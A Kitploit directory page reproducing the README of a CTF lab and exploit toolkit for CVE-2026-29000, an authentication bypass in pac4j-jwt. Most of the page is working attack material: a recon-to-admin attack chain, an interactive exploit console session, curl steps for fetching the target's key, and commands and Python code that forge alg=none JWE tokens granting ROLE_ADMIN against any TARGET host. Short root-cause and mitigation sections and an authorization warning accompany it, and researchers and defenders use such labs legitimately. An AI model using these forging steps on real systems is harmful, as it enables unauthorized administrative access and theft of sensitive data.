Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-29000 — CTF lab and exploit toolkit for CVE-2026-29000, a pac4j-jwt JWE authentication bypass. Includes vulnerable Flask target, token forging library, interactive exploit console, and Java PoC. | Kitploit
Tools/GitHubGitHub/clayofgilgamesh/cve-2026-29000
Vulnerability AnalysisExploitationWeb Application ExploitationCTFPenetration TestingAuthenticationLearning & EducationLabs & Practice
GitHub
clayofgilgamesh/cve-2026-29000

CVE-2026-29000

CTF lab and exploit toolkit for CVE-2026-29000, a pac4j-jwt JWE authentication bypass. Includes vulnerable Flask target, token forging library, interactive exploit console, and Java PoC.

View Repository
4 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-29000 — pac4j-jwt JWE Authentication Bypass

CTF lab for researching the JWE authentication vulnerability in the pac4j-jwt library CVSS 9.3 (Critical) · CWE-287 · Affected: pac4j-jwt < 4.5.9 / 5.7.9 / 6.3.3


Overview

pac4j-jwt in affected versions allows bypassing the entire JWT authentication mechanism by crafting a PlainJWT (alg=none, no signature) and then wrapping it inside a JWE (JSON Web Encryption). After decrypting the JWE layer, the library does not verify the algorithm of the inner JWT — the claims are fully trusted, including roles.

Attack chain:

root@kitploit:~
X-Powered-By: pac4j/6.0.3          ← version leak → identify framework
       ↓
OIDC Discovery → JWKS → RSA public key   ← public information
       ↓
Forge JWE (PlainJWT alg=none, ROLE_ADMIN)
       ↓
Auth bypass → GET /admin?token=<JWE>     ← access admin panel
       ↓
Read sensitive data: employee list, system config, flag

Project structure

root@kitploit:~
CVE-2026-29000/
├── lab/                        # Target – Flask app (NexusBank Employee Portal)
│   ├── app.py                  # Vulnerable main application
│   ├── Dockerfile              # Flag baked into /flag.txt at build time
│   └── requirements.txt
│
├── token_forge/                # Python library for forging JWE tokens
│   ├── forge.py                # forge_token()
│   ├── jwe_builder.py
│   ├── keys.py
│   ├── claims.py
│   └── cli.py                  # CLI: python -m token_forge
│
├── scripts/
│   └── exploit.py              # Interactive exploit console (Metasploit-style)
│
├── poc/                        # Java PoC – confirms in-process bypass
│   ├── src/main/java/Poc.java
│   └── pom.xml
│
├── tests/
├── docker-compose.yml
└── requirements.txt

Requirements

ToolVersionNotes
Docker Desktop24+Runs the lab target
Docker Composev2+Bundled with Docker Desktop
Python3.11+Runs exploit.py and token_forge
Java + Maven11+Only needed for the Java PoC

Installation

1. Clone the repo

root@kitploit:~
git clone https://github.com/kernelzeroday/CVE-2026-29000.git
cd CVE-2026-29000

2. Install Python dependencies

root@kitploit:~
# Linux / macOS
python -m venv .venv && source .venv/bin/activate

# Windows
python -m venv .venv && .venv\Scripts\activate

pip install -r requirements.txt

3. Start the lab

root@kitploit:~
docker compose up -d lab

Confirm the lab is running:

root@kitploit:~
curl -sI http://localhost:8080 | grep X-Powered-By
# X-Powered-By: pac4j/6.0.3

Custom flag:

root@kitploit:~
docker compose build --build-arg FLAG="CTF{custom_flag}" lab
docker compose up -d lab

4. Stop the lab

root@kitploit:~
docker compose down

Exploitation — Interactive Console

exploit.py is an interactive Metasploit-style console. The user performs recon to gather information, then configures and exploits.

root@kitploit:~
python scripts/exploit.py

# Or pre-set from the command line:
python scripts/exploit.py --rhost 192.168.1.31 --rport 8080

Full example session:

root@kitploit:~
jwe-bypass > set RHOST 192.168.1.31
[+] RHOST => 192.168.1.31

jwe-bypass > check
[*] Checking http://192.168.1.31:8080 ...
[+] HTTP 200
[+] X-Powered-By: pac4j/6.0.3
[+] Target appears VULNERABLE (pac4j detected)

jwe-bypass > set PUBKEY http://192.168.1.31:8080/.well-known/jwks.json
[+] PUBKEY => http://192.168.1.31:8080/.well-known/jwks.json

jwe-bypass > run

[1/3] Loading RSA public key ...
[+] Public key loaded
[2/3] Forging JWE token (CVE-2026-29000) ...
[+] Token forged (606 chars)
[3/3] Verifying auth bypass on /api/profile ...
[+] Authenticated as: pwned   roles: ['ROLE_ADMIN']

  Auth bypass successful!

  Open in your browser:

  http://192.168.1.31:8080/admin?token=eyJ...

Open the URL above in your browser to access the admin dashboard.

PUBKEY supports 3 formats:

root@kitploit:~
# 1. JWKS URL — auto-fetched (recommended)
set PUBKEY http://192.168.1.31:8080/.well-known/jwks.json

# 2. Already downloaded file
set PUBKEY /tmp/key.json

# 3. Paste raw JSON directly
set PUBKEY {"kty":"RSA","n":"...","e":"AQAB"}

Manual exploitation (without exploit.py)

Step 1 — Recon

root@kitploit:~
# Detect the framework via response header
curl -sI http://TARGET:8080

# Find hidden endpoints
curl -s http://TARGET:8080/robots.txt

Step 2 — OIDC Discovery → JWKS

root@kitploit:~
# RFC 8414: pac4j always exposes this endpoint
curl -s http://TARGET:8080/.well-known/openid-configuration

# Get the RSA public key from jwks_uri
curl -s http://TARGET:8080/.well-known/jwks.json

Step 3 — Forge JWE token

root@kitploit:~
python -m token_forge \
  --jwks-url http://TARGET:8080/.well-known/jwks.json \
  --subject attacker \
  --roles ROLE_ADMIN

Step 4 — Access the admin panel

root@kitploit:~
TOKEN=$(python -m token_forge \
  --jwks-url http://TARGET:8080/.well-known/jwks.json \
  --roles ROLE_ADMIN 2>/dev/null)

# Confirm the bypass
curl -s -H "Authorization: Bearer $TOKEN" http://TARGET:8080/api/profile

# Open the admin dashboard in your browser
echo "http://TARGET:8080/admin?token=$TOKEN"

Using token_forge as a Python library

root@kitploit:~
from token_forge import forge_token, load_public_key_from_jwks_url

key   = load_public_key_from_jwks_url("http://TARGET:8080/.well-known/jwks.json")
token = forge_token(key, subject="attacker", roles=["ROLE_ADMIN"], exp_sec=3600)
print(token)

Java PoC (in-process)

Confirm the bypass directly in the JVM with Nimbus JOSE + pac4j 6.0.3:

root@kitploit:~
cd poc
mvn -q compile exec:java -Dexec.mainClass="Poc"
# [BYPASS] Authenticated as: admin#override
# [BYPASS] Roles: [ROLE_ADMIN, ROLE_SUPERUSER]

# Print token only
mvn -q compile exec:java -Dexec.mainClass="Poc" -Dexec.args="--token-only"

Running tests

root@kitploit:~
pytest tests/ -v

# With coverage report
pytest tests/ -v --cov=token_forge --cov-report=term-missing

Root cause of the vulnerability

LocationIssue
JwtAuthenticator.validateToken()After decrypting the JWE, calls PlainJWT.parse() instead of SignedJWT.parse()
_payload_to_claims() in labbase64decode + json.loads directly, without verifying the signature

Flawed processing flow:

root@kitploit:~
JWE decrypt → get payload → base64decode → json.loads → trust claims
                                         ↑ missing inner JWT signature verification step

Mitigation

MeasureDetails
Upgrade pac4j-jwtTo >= 6.3.3 / 5.7.9 / 4.5.9
Reject PlainJWTCheck alg != "none" after decrypting the JWE
Remove version headerDisable X-Powered-By in production
Least privilegeDo not run the container as root

References

  • pac4j Security Advisory
  • RFC 7516 — JSON Web Encryption
  • RFC 7519 — JSON Web Token
  • RFC 8414 — OIDC Discovery
  • CWE-287 — Improper Authentication
  • https://github.com/kernelzeroday/CVE-2026-29000

Warning: This repo is intended solely for security research and CTF purposes in controlled environments. Do not use it on systems without authorization.

Download Tool